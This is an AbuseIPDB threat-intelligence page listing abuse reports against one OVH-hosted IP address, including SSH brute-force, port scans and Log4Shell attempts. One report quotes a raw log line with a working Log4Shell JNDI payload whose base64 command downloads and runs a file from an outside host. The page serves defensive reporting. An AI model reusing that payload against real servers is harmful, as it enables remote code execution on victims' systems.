JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 135.148.143.217

135.148.143.217 was found in our database!

This IP was reported 10 times. Confidence of Abuse is 0%: ?

ISP	OVH US LLC
Usage Type	Data Center/Web Hosting/Transit
ASN	AS16276
Domain Name	ovhcloud.com
Country	🇺🇸 United States of America
City	Warrenton, Virginia

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 135.148.143.217

Whois 135.148.143.217

IP Abuse Reports for 135.148.143.217:

This IP address has been reported a total of 10 times from 10 distinct sources. 135.148.143.217 was first reported on July 21st 2021, and the most recent report was 2 years ago.

Old Reports: The most recent abuse report for this IP address is from 2 years ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇳🇱 Linuxmalwarehuntingnl	2024-07-04 07:07:41 (2 years ago)	Unauthorized connection attempt	Brute-Force
🇪🇸 didevi	2024-04-11 06:53:34 (2 years ago)	2024-04-11T08:53:33.194419+02:00 mail01 postfix/smtpd[1252490]: NOQUEUE: reject: RCPT from epiphany1 ... show more 2024-04-11T08:53:33.194419+02:00 mail01 postfix/smtpd[1252490]: NOQUEUE: reject: RCPT from epiphany183.cacophony549.professionals-range.run[135.148.143.217]: 554 5.7.1 Service unavailable; Client host [135.148.143.217] blocked using zen.spamhaus.org; Listed by CSS, see https://check.spamhaus.org/query/ip/135.148.143.217; from=<[email protected]> to=<[email protected]> proto=ESMTP helo=<epiphany183.cacophony549.professionals-range.run> show less	Brute-Force
🇺🇸 trentwiles.com	2021-12-17 20:37:18 (4 years ago)	Log4j	Hacking
🇮🇳 Parth Maniar	2021-12-16 23:59:04 (4 years ago)	This IP carried out Apache Log4j RCE Attempt(s) (also known as CVE-2021-44228 or Log4Shell). For mor ... show more This IP carried out Apache Log4j RCE Attempt(s) (also known as CVE-2021-44228 or Log4Shell). For more information, or to report interesting/incorrect findings, give me a shoutout on @parthmaniar on Twitter. show less	Hacking Web App Attack
🇺🇸 nyclee.net	2021-12-15 23:24:04 (4 years ago)	143.244.156.104 - - [15/Dec/2021:17:47:29 -0500] "http" "GET / HTTP/1.1" 200 615 "${jndi:ldap://135. ... show more 143.244.156.104 - - [15/Dec/2021:17:47:29 -0500] "http" "GET / HTTP/1.1" 200 615 "${jndi:ldap://135.148.143.217:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY3VybCAtTyBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY2htb2QgNzc3IHB5OyAuL3B5IHJjZS54ODY=}" "${jndi:ldap://135.148.143.217:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY3VybCAtTyBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY2htb2QgNzc3IHB5OyAuL3B5IHJjZS54ODY=}" "-" show less	Hacking
🇬🇧 Joe-Mark	2021-12-15 16:45:29 (4 years ago)	Found on Firehol Level 4 / proto=6 . srcport=55430 . dstport=80 HTTP . (1980)	Port Scan
🇱🇹 Aurimas Vilkaitis	2021-12-15 10:16:22 (4 years ago)	LOg4J attack	Web App Attack
🇫🇷 QUADEMU Abuse Dpt	2021-12-15 02:45:41 (4 years ago)	[New] Noxious/Nuisible/вредоносный Host.	Port Scan Brute-Force
🇩🇪 www.blocklist.de	2021-07-21 17:22:00 (4 years ago)	Jul 21 23:09:36 mail1 sshd[21866]: Did not receive identification string from 135.148.143.217 port 3 ... show more Jul 21 23:09:36 mail1 sshd[21866]: Did not receive identification string from 135.148.143.217 port 34180 Jul 21 23:11:18 mail1 sshd[21915]: Invalid user 66.175.221.8 from 135.148.143.217 port 56542 Jul 21 23:11:18 mail1 sshd[21915]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=135.148.143.217 Jul 21 23:11:20 mail1 sshd[21915]: Failed password for invalid user 66.175.221.8 from 135.148.143.217 port 56542 ssh2 Jul 21 23:11:20 mail1 sshd[21915]: Received disconnect from 135.148.143.217 port 56542:11: Normal Shutdown, Thank you for playing [preauth] Jul 21 23:11:20 mail1 sshd[21915]: Disconnected from 135.148.143.217 port 56542 [preauth] ........ ----------------------------------------------- https://www.blocklist.de/en/view.html?ip=135.148.143.217 show less	FTP Brute-Force Hacking
🇳🇱 EGP Abuse Dept	2021-07-21 17:09:42 (4 years ago)	Unauthorized connection to SSH port 22	Port Scan Hacking SSH

Showing 1 to 10 of 10 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇷🇺 154.90.70.254

🇦🇹 85.125.90.185

🇺🇸 74.195.53.129

🇦🇷 186.56.11.2

🇷🇺 176.211.130.10

🇮🇹 95.210.105.202

🇺🇸 71.6.233.224

🇷🇺 46.163.144.31

🇳🇱 45.198.224.140

🇳🇱 45.156.87.50

🇳🇱 45.148.10.152

🇷🇺 37.204.111.153

🇺🇸 20.46.246.132

🇬🇧 5.252.83.122

🇲🇿 197.219.208.58

🇧🇷 187.50.194.182

🇺🇸 172.173.65.1

🇺🇸 136.109.212.19

🇰🇷 125.139.87.30

🇮🇳 103.50.5.180